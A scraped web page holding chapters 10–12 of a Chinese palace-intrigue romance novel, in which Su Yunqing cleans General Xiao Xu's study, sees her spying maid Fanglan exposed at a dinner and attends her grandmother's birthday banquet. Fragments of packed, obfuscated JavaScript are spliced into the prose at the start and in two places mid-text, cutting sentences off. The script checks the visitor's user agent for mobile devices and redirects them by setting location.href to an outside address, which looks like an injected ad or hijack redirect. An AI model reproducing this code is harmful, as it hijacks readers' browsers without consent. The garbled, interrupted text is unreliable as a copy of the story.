l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154468|164901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 周叔:“是、是我们看管不力,夫人她不懂府中规矩……” 萧叙打量她一眼,往茶案方向去,目光扫过案面,见一切如常,没有动过的痕迹,吩咐道:“取药来。” 周叔怔了一下,随即反应过来,连忙应道:“是,我这就去。” 萧叙坐在茶案旁,眼神如刺骨寒潭。苏云青现下不敢妄动地上滚落的卷轴,她揉着麻木的肩膀。萧叙方才若再用狠些力,她的骨头怕就要碎了。 “捡起来,放回去。”他命令道。 苏云青蹲身,捡起卷轴放回原位。摆完后,亦不敢挪动半步,只静静在原地看着审视她的萧叙。 两人气氛凝重,对视片刻。 周叔带着药箱回来,放在另一处闲桌上,“少主,药拿来了。” 萧叙:“拭布给她拿来。” 苏云青有些意外,目送周叔再次离开屋子。 他头也不抬,“自己上药。” 苏云青捂着肩膀走到镜前,打开药箱,转眸望向萧叙,他已经别开了目光,专注手中那本未看完的书。 她小心扯开领口,看着自己浑身的伤痕,怔了会儿神。而后,在药箱里翻找药膏。 “凝雪霜,祛疤。”他依旧没有抬头,语气淡漠。 苏云青握住白色的小瓷瓶。凝雪霜祛疤效果极佳,但价格十分昂贵不多见,有价无市,一瓶难求,由宫中万草堂的药师所制。 萧府竟有这种东西?估摸是药师所赠。 冰冷的触感覆盖脸颊的簪伤。她又翻箱倒柜,用帕子擦拭手心与脖颈的血迹。忽然动作一顿,镜子中萧叙面无表情,隐晦不明的目光透过镜子注视她。 苏云青继续往伤口涂抹止血药,缠好纱布后。她的手指停放在领口,犹豫片刻解开了第一颗扣子。镜中,萧叙目光微滞,似没料到她会在此为肩膀上药,随即别过了头。 衣领扯开后,肩膀赫然浮现一大片青紫淤痕。萧叙下手太重了,若是刚才看清了她的脸,恐怕下手会更重。 “少主!”贺三七一掌推开书房,大摇大摆跨进来。还没等他甩过头,一只飞旋的茶杯直冲他侧脸,他眼疾手快一把接住,杯中的水晃荡两下,洒出几滴。 他特意入门前喊一声,就怕把他当贼,怎么还飞暗器啊! 他不明所以朝萧叙看去。 于是,就见离萧叙不远处,苏云青慌乱扣着衣领,胳膊别扭。 “你俩……关着门,干嘛?” “不对,你怎么在这?” 周叔臂弯搭着拭布,提着桶水走了进来,“少主,东西拿来了。” 贺三七:“周叔你拿着桶在外站半天,就是让我给你开门?” 周叔笑了笑,“小贺将军说笑了。” 贺三七指着苏云青,困惑问:“她在这做什么?” 周叔把东西放到苏云青身边,“夫人说要帮少主收拾书房,换月钱。” “???”贺三七震惊道:“她?!打扫书房!换月钱?” 周叔:“夫人说不好抢了别人的活,那也就只有将军身旁无人伺候了。” 贺三七转头盯着萧叙,不可置信道:“你同意了?!书房重地,那么多杂七杂八的东西,她弄的明白吗?” 苏云青瞥他一眼,淡淡回击,“书房重地,那你不是还在书房烤红薯了。” 贺三七一时语塞,“你……那我不一样。” 他回过神,狐疑道:“诶,不对,你怎么知道我在书房烤红薯?” 苏云青抬抬下巴,指向书架角落,“你私藏了一篮红薯,还让我多赔300个?” “……”贺三七脸色一黑,恶狠狠冲过去,“看来你把书房翻了一遍啊!” 苏云青不慌不忙,“都无需翻,一股泥巴味。贺将军,早中晚都吃红薯,你的肠胃能行吗?” “……”贺三七气得叉腰,“周叔!把她给我撵出去,打十大板子!” 周叔站着没动。 贺三七不满道:“周叔?怎么现在我说话都不管用了?” 周叔叹气道:“少主方才不留神,已经将夫人的肩膀打伤了,正上药呢。” 贺三七:“苏云青,你是不是该守点规矩?这才入府一天,你就烧了红薯,还让少主给你上药,明天你又想干什么?” 苏云青经他提醒,突然想起某事来,回头试探性问萧叙,“过几日是我祖母生辰,将军可否陪我前去?” 贺三七抢先道:“你还真敢问!苏家老夫人在几十里外的长原镇吧,谁有空陪你啊。再说,你和苏家关系不是一般?” 萧叙不语,看了她两眼后,继续低头沏茶。 他不应声,苏云青也不好再说什么。 周叔提醒道:“夫人将地擦干净就可,这里是热水和帕子,水脏了再唤我去取。” 10. 又见(10) 苏云青在书房干了几日苦力,一无所获,什么都没查到。几日下来,浑身酸痛似散架般,回院时,她敲响芳兰的屋门,计划让她弄些吃食。 然而里面始终没有回应,她开门往里瞧,屋里一个人影没有。奇怪了,芳兰在府中并无其他差事,多是待在自己房中才对。 苏云青等了小会儿,不见人,于是打算回房。这时周叔带下人送来热水。 她踏出芳兰的房门,与他们撞个正着。 周叔:“夫人热水送来了。” 他走上前,视线紧随苏云青关上房门的动作,掩上没有人的房间。 “芳兰不在?” 苏云青:“许是去了茅房。” 芳兰不在,无法给苏云青把热水送入房中,苏云青胳膊不便,周叔只好自己给她送进去。 “麻烦周叔。”苏云青话音刚落,肚子耐不住“咕噜”一叫。 周叔低笑道:“我让人给夫人送晚膳来。” 苏云青:“多谢。” 苏云青沐浴完,吃完晚膳,时刻留意着芳兰的房间,可这人还是不知去了何处。 累了一日,苏云青眼皮打颤,缩进被窝里睡下了。夜里,院子忽然传来细微石子的滚动声。她迷迷糊糊睁开眼,走到窗边,支开窗,不远处芳兰的房间亮了一盏微弱的烛光。 次日,芳兰依旧不见人影,苏云青起床后,往距离不远的杂院里走。 她的居所在府邸偏僻的角落,距离正院相差甚远,侍卫巡查也极少往这方走。 杂院中的箱框堆积如山靠在墙角,苏云青眸色暗下,扫了两眼,转身离开。 平日萧叙盯她太紧,只有他在时,她才能入书房清扫。 她要月钱又要的急,无人在时,周叔偶尔会借帮忙的名义,陪她去稍微收拾,实则盯着她。 今日萧叙不知去了哪里,周叔也在府里忙活,苏云青百无聊赖坐在摇椅上看落日。 “苏云青!”芳兰冲进院子里,急促的吼了一嗓子。 苏云青侧过头去,懒洋洋问:“有事?” “快走。” 苏云青回正头,继续晃着摇椅,“去哪?” “将军让你一同去贺府用晚膳。” “贺府?!晚膳!”苏云青蹙起眉头,开始思索这几日举动,是哪出现破绽,引起了萧叙怀疑。 前世,她在入府很久以后,萧叙才勉强许她同桌用膳,并且两人几乎没过多交流。今天他心血来潮叫她去吃饭?莫不是场鸿门宴。 苏云青跟着芳兰去往府前,马车早早侯着了,周叔立在马车前,似乎也等了有一会儿。 “周叔……将军呢?” 周叔没有回答,目光落在她身后的芳兰身上,夹杂几分审视意味。 芳兰默默低垂下头,“夫人……来了。” 周叔为苏云青撩开车帘,“夫人,请上车。” 苏云青弯腰上了马车,抬眸便见萧叙沉着面容,显然已经在里面‘恭候多时’。 这诡异的气氛,让她顷刻间明白了什么事,她瞥了芳兰一眼,默不作声,坐到萧叙身旁,“让将军久等了。” 萧叙敲击车壁,示意周叔启程。 马车摇晃,车内的空气仿佛凝固,气压极低。幸好贺府距离不算太远,很快到了。 萧叙先行下车,大步往贺府中走去。 贺府中的下人早早恭候在门前,恭敬行礼,“少主。” 萧叙脱下厚袍丢给下人,径直走进前厅。 前厅里,贺三七与贺仲良围坐在餐桌旁,满满一桌丰盛的饭菜已然因等得太久有些凉了。 贺三七撇嘴,不满道:“你们怎么来这么晚?” 贺仲良同样淡淡侧首望来。 苏云青紧跟在萧叙身后,萧叙对她的窘迫视而不见,自顾自坐下饮茶。 怎得越来越像鸿门宴了。 苏云青不安道:“贺老将军安好。” 贺仲良沉着脸,“听闻侯府夫人,不过入门一日,就将厨房给烧了,真是好本事啊。” 苏云青:“……是场意外。” 她的目光在桌子上环视一圈,寻来杯子倒了杯茶,正准备端给贺老将军奉茶,受伤的胳膊却使不上劲,缓缓发抖,滚烫的茶溢出两滴,不留神将手指烫出红印。 贺仲良看了眼,没接,端起自己面前的茶喝了口。 苏云青尴尬举着杯,指尖已然烫红。 萧叙:“坐。” 苏云青放下茶杯,在给她留的空位坐下,“抱歉,是我来迟了。” 贺三七瞄了萧叙一眼,随后,目光扫过苏云青与她身后站着的芳兰,他拖着腮,眉角一挑,筷子敲了敲瓷碗。 “不识好歹。可别又说没给你饭吃,把厨房给烧了。” “让我们好等,吃饭。” 苏云青转头发觉自己身前并没有碗筷,只能干坐着。 贺三七这时仿佛想起什么,意味不明笑道:“哎呀,你看忘给苏小姐拿碗筷了。芳兰,去给你家小姐拿副碗筷来。” 芳兰今日神情怪异,磕巴道:“碗……碗筷在何处。” 贺三七对架子上的碗筷抬眸,示意她去那边取,“选一个你家小姐喜欢的样式。” 芳兰走到架子前,百种样式的碗筷瞧得人眼花缭乱,正想随便拿一个交差。 贺三七提醒道:“可一定要,选中她最喜欢的。” 芳兰默默放下自己手里选中的一只碗,下意识回头询问,“夫人,你喜欢什么样式的碗?” 此话一出,苏云青微愣,更加笃定,今日这顿“鸿门宴”为谁而摆。 贺三七冷笑一声,手中筷子霎时从苏云青身边飞过,贴着芳兰手指插人架子中。 芳兰吓得浑身一抖,猛地跪倒在地。 贺三七环臂,靠向椅背,移过目光,讪笑着。 萧叙双眸深邃如渊,“苏小姐,今早的桂花糕可还好吃?” 苏云青心震如鼓,瞧了眼瑟瑟发抖不敢吱声的芳兰,她强装镇定道:“云青不明将军的意思。” 萧叙:“噢?苏小姐不知吗?今早你的婢女出院,被侍卫瞧见,问她去往何处,她说的可是苏小姐想吃桂花糕,为你买糕。” “哪家桂花糕如此难买,一买就是半日。”他暗笑一声,凝目注视她,“苏小姐没尝到味?” 苏云青喉咙不安滚动吞咽,芳兰定是昨夜去了苏府。 “芳兰出府买桂花糕一事,我并不知晓,许是她贪嘴怕挨骂便用了我的名义……” 萧叙不再绕弯子,直言道:“萧府守卫森严,苏小姐的婢女,深夜翻墙归府,不知是去了何处。” 守卫森严,想必,芳兰出府时就已经有人跟着了。 她们身为主仆,一同入府,苏云青被盯得紧,芳兰出府,尽管她们看起来关系一般,却还是将芳兰自私出府的怀疑,归为是她授意。 苏云青杏眸明净看向萧叙,如实道:“贺将军想来已经将我在苏家的处境调查清楚,尽数告知将军了。” “芳兰是苏家柳夫人的婢女,授她之意随我入府,将我在府中的一举一动禀告回去。受罚或得罪了将军,柳夫人只会一笑而过,心里得个痛快,赏芳兰些银两。” 三两句亮明她们对立的身份,芳兰所做一切与她没有半点干系,皆授柳夫人之意。 而夜间出府,也只是带苏云青的消息出去,得到的结果也不过是柳夫人心里痛快睡个嘚瑟觉,再打发芳兰点银两。 威胁不到将军府半点利益。 芳兰万没想到自己小心翼翼做的一切,竟然如此清楚露在众人面前,她额头死死抵在地面,抖入筛子,立即认错,“芳兰、芳兰知错。” 贺仲良:“苏大人在府中,不教你们这些下人规矩?” 芳兰:“芳兰……芳兰知错了。” 贺仲良流露威仪之态,语气加重,“我在问你,苏大人没教你们规矩?” “大人……大人鲜少回府,府中都是……都是柳夫人主持。” “鲜少回府。”贺仲良嗤笑一声,似笑非笑说:“苏大人连自家府邸都不回,朝中之事有那么繁忙?” 芳兰:“非、非朝中之事。” 贺仲良:“原来如此。行了,菜都快凉了。” 萧叙毋庸置疑道:“拖下去。” 周叔在一旁静静看着,得令后把芳兰从地上拽起来,拖向外头。 萧叙从腾升的茶雾后抬起眸来,并无表示,“入了将军府,再回去只会是一具尸体。” 芳兰吓得花容失色,挣扎求饶,“将军!将军奴婢知道错了……求将军放我一命!” 贺三七沉着脸说道:“故意晚一盏茶的功夫叫你家小姐,是想让她犯错被罚,还是想让我们卸了她的胳膊,你好翻墙回府再去报给柳夫人?” 芳兰心思被看透,冷汗直冒,“不、不是的,不是的。” 贺三七:“苏大人没教下人规矩,将军府做做好事,教一教。赏十大板子。” 芳兰向苏云青求助,“夫人!夫人帮帮我……” 苏云青面色清冷,她自知,萧叙已经开始谋划,她与芳兰并无二致,都是最廉价的棋子。 萧叙不会要芳兰的性命,芳兰的存在同时也会牵制住她。这番只是略施惩戒,不过是杀鸡儆猴,变相警告她。 苏云青:“是我管教无方。芳兰毕竟是女子,还望将军手下留情,下手轻些。” 萧叙:“苏小姐,菜要凉了。” 苏云青不再多言,起身去拿了副碗筷,坐回桌前,吃了一顿不安生的饭。 一桌子全是她不爱吃的菜式。 萧叙尽管看出她夹菜时的犹豫,却并不在意她的喜好,“今后,苏小姐请准时在萧府里前厅用膳,错过饭点,那顿饭便没有了。” 苏云青:“我知道了。” 贺老将军秘密回京,不可在这待太久,估计连夜要离京。她嫁入萧府多日还没来请安,萧叙今日得空带她来吃顿放,顺手解决芳兰出府的事。 简简单单吃完这顿饭,芳兰挨了板子,行动不便,周叔送她去往医馆。 天色渐晚,苏云青与萧叙同乘一辆马车回府。 苏云青:“将军今日……” 萧叙不等她说完,反道:“苏小姐,若管教不好自己的婢女,下次就不再是十板。” 苏云青呼吸一滞,五指悄悄攥紧了衣角,唇角绽出一抹好看的笑意,配合道:“将军说的是,芳兰性格直率,在苏家鲁莽惯了,劳将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她探过头,借月光向腐臭源头望去,发现一筐烂臭的鱼,显然那人曾在这躲藏,身上沾染了臭味。 巷子弯弯绕绕,苏云青已经不知道自己走到了哪,四周只剩穿堂风呼啸灌耳。 “咕咚——” 左边的竹筐滚到地上,细微的响动回荡在巷子里。她心中一惊,屏息凝神,向那黑暗之处望去,竹筐堆积足有一人高,庞大的黑影宛如一座大山压迫而来。她的心跳几乎从嗓子眼蹦出来,不敢轻举妄动,只能小心往后退。 脚下踩坏一条竹扁清脆一响,苏云青身子僵住,寒意从脚底飞速窜上后脑。 “咣当——!” 成山的竹筐顷刻倒塌,滚到她的脚边,灰影从里头蹿出来,伴随细微的猫叫。 苏云青松了口气。 “苏云青。” 低沉磁性的嗓音,伴随凉风从旁巷闯入她的耳中。 苏云青霎时侧首闻声望去,另一侧巷口,冷月下耸立着一道黑影,高束的发尾挥动落雪,厚袍微拂。 悬着的心,竟莫名放了下来。 “将军。” 萧叙站在原地,等她走过去,才转身走在前方。 苏云青快步跟上他的步伐,“是何人。” 萧叙不语,不知是不想搭理她,还是嫌她拖累了他回击的行动,不愿与她分享得到的信息。 苏云青胳膊抽痛,嘴唇发抖,还是说出了方才自己的发现。 “我在巷子里找到一筐臭鱼,黑衣身上有那味道。” “嗯。” “我还嗅到了一股淡香。” 走在前方的人骤然止住脚步,回首注视她,难得露出隐晦不明的淡笑。 “苏小姐,鼻子倒是灵。” 她似乎发现了一个萧叙也未察觉的细节,引起了他的兴趣,竟然愿意告知她得到讯息。 “新皇上位前,京中有宵禁,唯有一处彻夜通明,名为不夜坊。” 苏云青:“那人进了不夜坊?” 萧叙不再多言,两人并肩行走在昏暗的长街上,影子悠长拖在身后。 苏云青不解,“明知难伤你分毫,为何要出手?” 萧叙淡淡吐出两个字,“嫁祸。” 苏云青沉默下来,寒风使她的肩膀疼痛加剧。她咬紧泛白的唇,拢实外袍抵御风袭,不自然的动作落入萧叙眼中。他加快了步伐,走到她的身前。 她正出神,分析着方才的不夜坊与淡香。 臭鱼都盖不住的淡香,说明是个常年身处在烟花之地的人。 不夜坊里头美人如云,达官显贵都喜欢在里面落个脚,他爹似乎就是个常客。 萧叙一眼看穿这是嫁祸之计。就是不知是谁嫁祸谁,又想离间他和谁的关系。 苏云青一边思索,一边心不在焉像小尾巴似得跟在他身后,没留意前方的路,一头撞上了萧叙结实的后背,额头一阵晕眩。 “苏小姐,是要跟到我的房中?”萧叙阴恻恻的声音从头顶传来。 苏云青呆滞两秒,就见萧叙已经进了他的房,抬头一瞧,不知何时他们已经回到了萧府,而她居然浑然不知跟到了他的房门前。 “……” 她尴尬转身,准备往自己院子里去,背后传来他的声音。 “自己处理。” “嗯?”苏云青困惑回头,只见萧叙手中提着一个药箱,递到她身前。 她一时脑袋发懵,忘了接下,回过神时,萧叙已经将药箱放在了地上,回房关紧了屋门,把她隔绝在外。 苏云青盯着药箱看了好一会儿,又看向他紧闭的房门,默默提着药箱回房处理伤势。 11. 濯雪(1) 没过两日,苏云青收拾了下自己,找到周叔,换了些月钱。 “夫人是要买些东西给祖母带去?”周叔一边说,一边将月钱放置在锦囊递给她。 苏云青收好钱袋,点头道:“是,多谢周叔,我三日后回来。” “欠将军的钱,过些时候,我再慢慢还上。” 周叔:“不碍事。” 芳兰还在医馆疗伤,苏云青只能孤身前往。幸好手下留情伤势不重,养个十天半月能痊愈。 她刚踏出府门,周叔追了出来,“夫人。路途遥远,府中备有马车,晚些时候乘马车前去罢。” “马车?”苏云青有些意外,再次确认,“将军府的马车?罢了,府中之物调配需由将军亲自下令,莫要牵连了周叔。” 周叔笑道:“夫人回娘家,将军事务缠身无法陪同。这再没将军府的马车陪去,不成体统。何况正是将军交代的。” “将军?!” 贺三七碰巧从外头来府里,“苏云青?你去做什么?” 苏云青:“祖母寿宴。” 贺三七强调散漫,“苏大小姐,你们苏家怕是要升官了。” 苏云青不明问道:“什么?” 他倚在立柱前,姿态慵懒,抱臂看着她,“李家失势,吏部尚书的位置空缺无主已经多日,谁人不眼红?” 苏云青凝眉。 这时,萧叙从府内走了出来,仿佛没看见苏云青,径直走向贺三七道:“查到什么了?” 贺三七收起散漫之色,抱剑跟在萧叙身后往外走,正经道:“不夜坊探过内部,没查到人。不过,倒是得知,那夜正巧有一支舞队乘车出了城。” 苏云青目送他们渐行渐远,京中出事,萧叙身为禁军统帅,这两日往宫门巡视跑得频繁。 送她去苏宅,既是萧叙派来监视她的眼线,那不如顺从,这样她也能顺便借他的名义,办些事,对外做副‘恩爱夫妻’的假象。她登上马车在京中随意买了些礼品,出城前往祖母的宅院。 苏家祖母与寻常家庭相同,观念里多是重男轻女,但因苏云青母亲在世时为为她治病费了不少心思,祖母对她也不算太薄。虽然下意识喜欢苏长越这个男孩,但儿时苏长越有的东西,她都不会少。 苏云青母亲在世时,一直反抗柳晴柔进屋,后来意外去世,苏济在她头七未过就风风光光娶了柳晴柔进苏府,气煞祖母。若不是当时柳晴柔哭喊装怜,声称怀了身孕,祖母绝不会点头让她进门。 可是,苏云青对祖母的信任,也在那时崩盘。无论她如何反抗,如何搬出母亲生魂未安。可祖母还是道,‘苏瑶,苏家如今是官宦之家,官家不能只有一个孩子,更何况……是个女孩,你爹他需要一个伴……’ 再之后,祖母搬离京城。苏济有了钱财,有了新组建的家庭。那段时间苏济与柳晴柔如胶似漆,嫌祖母在家和柳晴柔作对。柳晴柔吹些枕边风,让苏济为祖母在京外购置一处宅子,让她搬出去养老。柳晴柔在生下儿子后,在苏府可谓一手遮天。 前世,苏济不过是在李家逃脱明翰堂一案后,从九品小官一跃升为正六品。今儿怪了,居然传出谣言,谎称他或是下一个吏部尚书。 这话竟然从贺三七口中传来,那怕是八九不离十。 …… 傍晚,马车停靠在宅院。苏宅这两日宾客不断,下人脸上满是疲态,上前迎接。 一同到的官家认出将军府的马车,立即迎了上来。 “是萧将军府的马车!” “快快快,打个照面。” 苏云青神态自若从马车中走出来,宅中下人搀她下车。 几位官家伸直脖子往车后望,满是期待。 “侯爷……没来吗?” 苏云青:“将军公务繁忙,脱不开身。” 官家脸上略显失望,却还是客气向她道了声好。 苏云青淡然回应两句,应付过去。各府马车停在后院,马匹则由下人牵去喂粮。 每家府邸的马车各不相同,她突然注意到两辆装横相似的车箱停靠在角落里,木雕银饰,纱绸点缀,这般花花绿绿招摇的车,不像官家之物。 她转头问身旁下人,“那是哪家马车?” 下人:“不夜坊。” 苏云青诧异道:“不夜坊?!” “正是。老爷前些时日早早将人请来搭台,说老夫人寿宴,要为大家助兴。”下人为她提着行囊,“大小姐先进屋吧,房间已经收拾好了,外头落雪太寒。” “好。” 贺三七早时提的不夜坊马车出城,竟是来了苏宅?! 苏济时常不归府,难道把那舞女也混入带进来了? 这场家宴,怕是要热闹了。 下人撑伞送她回屋,“大小姐早些休息。” 苏云青:“祖母在何处?我去给她请安。” 下人给她倒了杯姜茶暖身,“老夫人冬日身子骨不好,早前歇下了。” “大小姐若需要什么随时喊我们即可。” 苏云青捂着姜茶,看着下人关门退下后,起身开门往祖母的屋院去。 不远处,祖母屋里灯火通明,欢声笑语不间断传来。 “长越,棋艺了得,不用让着祖母。” “祖母祖母,我给你做了糕点。”苏欢雪性子活泼讨喜,嘴甜会哄人。 烛光映在窗纸上,温馨的灰影随火苗跳动。屋子里头暖烘烘的,苏欢雪靠在祖母身边,喂她糕点。 苏云青站在长廊尽头,停下了脚步,手心捧着的茶在路途中沾了风雪冷了下来。 她默默看了一会儿,回转方向,用掌心余下的温度支撑自己默不作声回到客房。 夜里饮姜,虽能去寒,却也灼得人心口发烫。 她喝了两口冷却的姜茶,起身走到镜子前上药。 萧叙给的凝雪霜很好用,脸颊与脖颈的伤口早已愈合,疤痕褪去,只剩一点红痕淡印。 就是这肩膀的伤,才稍有好转,那夜遇刺又遭了罪,如今抬手都有些困难。 窗外隐隐约约传来几道杂声。 “对对对,这可是开过光的灵球,一定要护好了。” 苏云青拢实衣裳,朝外看去,打扮怪异的人指挥捧着个木箱子的下人,朝花苑方向去。 她夜里无事,跟上去瞧了眼。 花苑里,高梯支起,下人从木箱里拿出灵球,小心翼翼传递上去,悬挂在架端。木雕浮纸做的灵球,像个不亮灯的灯笼球,在月光下散发贝壳似的幽暗流光。 下人又在高架边敲敲打打,搭了几块供人攀爬的架板。 打扮像江湖道士的人,对下人说道:“把红绸盖架子上,开了光的灵球在认主前,不可见日光。” 几个佣人又费了一通劲把红绸盖上去。 道士摆足架子,吩咐道:“你们小姐请我来此,我奔波一路,还未用膳,把好酒好肉都送到我房中。” 夺灵球,争好运,借寿宴,显吉兆。 苏云青静静站在昏暗之地,抬眸看向冷月下肆意飞舞的红绸。 …… 次日,祖母寿宴。 苏云青身着红裙,外披白色狐裘,站在桥头观赏水中欢快摆尾畅游的鱼儿。她随手撒了两把粮,鱼儿一窝蜂围了上来,张着嘴抢食,偶尔几条急眼了,还会对旁友甩尾打斗,溅起水花。 苏宅今日宾客云集,来的达官显贵不少,连兵部尚书许大人都来凑了个热闹。 “苏小姐,不知苏大人在何处啊?可否陪他饮茶。” 这声苏小姐,自然不是唤苏云青,而是不远处正走入院子的苏欢雪。 苏云青长睫刷下,波澜的水面倒映她姣好的容貌。 苏欢雪老远便瞅见苏云青玉立桥头的身影。她端直仪态,笑着回应身旁不知哪家官老爷的话,“父亲在前厅,大人可前去一叙。” 苏云青对由远及近的脚步声置若罔闻,忽然,她身旁走来一人。 “难得一见苏家大小姐的真容,甚是好看。” 她侧首看去,是兵部尚书许大人之子,许明哲。 他面若凝脂,剑眉星目,五官立体轮廓柔和,身着墨绿锦袍,腰挂白玉兰佩,手握折扇,墨发半束,一派文人雅士之态。 苏云青如雪白皙的脸挂上一丝毫无温度的浅笑,打个招呼。 “许公子。” “听闻公子近日身子骨欠佳,鲜少出门,怎么入冬寒雪天,竟来拜访苏宅。” 许明哲眉梢微挑,不甘示弱道:“我听那些公子说,苏大小姐相貌丑陋,今日一见,倒不见得。” 苏云青也不否认,“看来公子的身子骨,与我的脸一样,是个假的。” 许明哲挥动扇子,拨去她外袍绒毛上的浮雪,“不一样。” 他若有所思,顿了顿说道:“我这可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154470|164901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欺君之罪。圣上原是要把我们这些世家公子丢给萧叙那个魔头。丢给他,我还有命活吗?” “不过,没想到,最后竟然变成了赐婚。苏大小姐可谓是救人于水火之中,倒是要谢上一番。” 许明哲说罢,竟握扇躬身,朝她微拜。 苏云青别过头去,继续喂鱼,“受不起公子这一拜。” 许明哲笑而不语,转言道:“得灵球得好运。苏大小姐,这球若是让你那个弟弟夺下来,你们苏家日后在朝中的地位,可就稳固了。再不用急于‘卖女’、恨嫁,攀关系。” “你说这球,是不是谁得到,好运就是谁的?” 苏云青:“许公子不是想做一文官?怎得武力也不凡?” 许明哲折扇缓缓拍在手心,“夺灵球。红绸之下,不知灵球还在否。” 苏云青愣了一下,侧眸看向他,许明哲却已走下了桥,与其他官家子弟谈笑畅聊。 “苏云青!你怎么来了?!”苏欢雪提着粉锻花裙走上桥来,满脸不悦,“你不是嫁入将军府,与苏府再无瓜葛了吗?” 苏云青一眼便认出,她身上这料子是当日陛下赠礼中的一物。 “我与苏府有无瓜葛,似乎是萧将军所言,不如你去问他,这场寿宴我到底该不该来。” “你!” 苏云青一把扬了手中鱼粮,“我如何?” “你现在嫁进侯府,身子骨也硬了是吗?!” 苏云青逼近一步,气势不输,“苏欢雪,苏小姐何时要捡别人的料子做衣裳穿?” 她抬指捏住她的衣襟,低笑道:“是我在苏府太纵容你肆意妄为?才让你不懂尊卑。你说的不错,我确实身子骨硬了,就是不知道,你是要用苏府与我比‘拳头’,还是让我再赏你一匹布?” “苏云青!”苏欢雪嘴角抽搐,怒视着她,甩开她的手,“这本就是苏家之物!何来你赏赐一说!” 苏云青贴到她耳边,“要我将圣旨拿给你瞧上两眼吗?陛下赏赐的布匹,可不是寻常之物。在场都是有头有脸的朝中大人,谁人瞧不出来,你这身料子来自何处?又是抢了谁的东西?丢了谁的颜面?” 苏欢雪脸色难堪,恼羞成怒,满脸涨得通红。她扬手一挥,想将苏云青推得离自己远点。 苏云青侧身躲她的手,退了半步,突然撞到围栏,围栏摇晃不稳,受不住力。整个人顿时失了平衡,朝后仰去。千钧一发之际,一只有力的手托住她的后腰,将她稳稳扶住,带了回来。 同时,轮子撞到了她的小腿,苏云青稳了两步才站稳。 她侧眸看去,北轩王李淮一手固定安车轮毂,一手搀扶她的腰。 “苏小姐当心。” 北轩王李淮!怎么他也来凑热闹。 苏欢雪怔在原地,有些不知所措,“殿、殿下。” 李淮语气柔和,难掩病弱之态,咳了两声,对苏欢雪道:“苏小姐,若真将人推下去,这么冷的天,是会叫姑娘家落下病根的。” 李淮长相秀气,面色苍白,长发披散在肩,气质儒雅柔和,如沐春风。但身子不好,让他难经风霜,需裹着厚实的朱红长袍抵御寒风。他与萧叙年龄相仿,原是个纵马踏花的少年郎,因在一次意外,从山头栽倒,滚到山脚,落下腿疾,此后只能靠安车出行,往日风采不再。 许明哲上桥扶住李淮的安车,“殿下莫吹太久的风,回暖亭罢。她们姑娘家的事,何必掺和一脚。” 苏云青:“多谢殿下出手相救。” 李淮半带轻笑,“苏大小姐,在桥边站这么久,还是要多留意围栏是否稳固。” 苏云青低笑配合道:“殿下说的是。” 她回头对路过的下人交代,“去搬些炭火送到暖亭中。” 许明哲带丝玩味的眼眸微微缩起,意味深长打量她一番,“苏大小姐还挺贴心,不光玉貌清丽,更是先人后己,竟将圣上赏赐的织金罗缎送于妹妹,连稀有的琳琅珠佩首饰也送了出去。” 苏云青瞥了苏欢雪一眼,苏欢雪面色铁青,转头从另一端下了桥。 花苑前,苏济身旁围了一圈人,众人陪笑吹捧,从前厅走到了花苑中。 “……苏大人前途无量,前途无量啊!” “哪里话,吏部尚书之位,并非我能胜任。今日只是普通家宴,大家吃好喝好,随意些。待日后若真升了官,一定忘不了诸位,给你们好生摆次宴席。” 12. 濯雪(2) 苏济笑呵呵邀众人来到灵球架边,得意道:“小女欢雪此次大费周章,特意请来远青观的大师父,带来受香火熏陶十年的灵球,让大伙同争喜运,顺遂一年。” 旁人附和道:“夺灵球素来有争好运之意,灵得很呐!远青观的师父可不好请下山,灵球更是难得一见,今儿苏宅贺寿是来对了。” “哈哈哈哈哈,苏大人有个这般好的女儿,日后享清福啊。” “苏小姐为请师父下山,估计在山头吃了不少苦头。” “是啊是啊,这么有孝心的女儿不多见。” 苏欢雪听着他们的夸赞,乖巧站在一旁,偶尔谦卑点头回两句,表示为父分忧是子女应尽的本分。 桥头风大,苏云青神态自若走进暖亭。暖亭中没几个人,要么去攀附苏济,要么准备去夺灵球,剩下想来攀附北轩王与许明哲的,却又怕扰了他们二位的清净,因此暖亭中只有寥寥几人。 暖亭三面垂绸,一面挂纱,里头炭火烧得正旺,不觉得寒冷。 亭中的人,对苏云青的突然闯入一人略感不适,与那两位的谈话也戛然而止。 苏云青并未理会旁人,找了个边位坐下,静静看着外头为灵球争夺的人群。 李淮:“旁人都道苏大人有个好女儿,你这个大女儿不争不抢,让别人占尽了风头。” 苏云青:“我没兴趣。” 她的语气疏离生远,仿佛整个苏家的兴衰荣辱,生生死死,都与她没有半点干系。她不过是个冷眼旁观的观上客,非局中人。 李淮:“苏小姐嫁入侯府将近半月,不知你们二人关系相处可融洽?那日早朝,我本是想为萧叙开脱,没想到内阁首辅张大人打断我,向陛下提议为你们二人赐婚。” “萧叙脾气古怪,喜怒无常,难为苏小姐了。” 苏云青轻勾唇角,开始胡言乱语,“谈不上难为,本就是我先心悦将军,能得陛下赐婚,是我梦中之事。” 许明哲低笑道:“苏小姐,看着可不像说的这般轻松。” 苏云青淡淡扫他一眼,目光继续投向灵球那方,“旁人如何想,与我没有干系,我只在乎将军如何想。” “噢?情真意切?”许明哲瞧她不再多言,便也不多打趣。他转头给北轩王递了快糕点,“商泓那个家伙,我看他想抢灵球得很,可没想让着苏长越,倒时博了苏家面子,可就精彩了。” 李淮:“不会。他若夺了灵球,再以灵球相赠,岂不更能稳固两家关系?” 